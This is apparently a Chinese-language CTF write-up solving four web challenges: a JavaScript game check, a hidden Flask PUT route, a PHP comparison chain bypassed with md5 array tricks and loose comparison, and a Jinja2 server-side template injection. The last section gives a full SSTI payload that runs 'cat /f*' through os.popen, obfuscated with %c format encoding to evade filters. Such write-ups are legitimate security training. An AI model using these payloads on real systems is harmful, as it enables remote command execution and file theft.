web
hate eat snake
游戏题找js,将判断语句删掉即可
ezweb
看源码找到/src路由,找到源码
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
用PUT方式访问/super-secret-route-nobody-will-guess路由即可
受不了一点
源码
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $f1ag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
绕if语句
第一个:md5的强比较,数组可以绕过 gdou[]=1&ctf[]=2
第二个:传入Cookie:cookie=j0k3r即可
第三个:弱比较加个+即可:aaa=114514+&bbb=114514
第四个:只要flag不为空即可:post:flag=1 GET:flag=1
EZ WEB
看一下框架
flask,多半是ssti,测试一下
fuzz字典跑一下看到只有这些没有被过滤
看报错是jinja2
可以用jinja2的原生函数attr
我们要构造的是
{%print config|attr('__class__')|attr(__init__)|attr('__globals__')|attr('__getitem__')('o'+'s')|attr('popen')('cat /f*')|attr('read')()%}
但()里面的都被过滤了
可以用format
,格式化字符串输出
例如
attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))
就等价与
attr('__class__')
所以就可以按照这个方法绕过
最终pyload
{%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}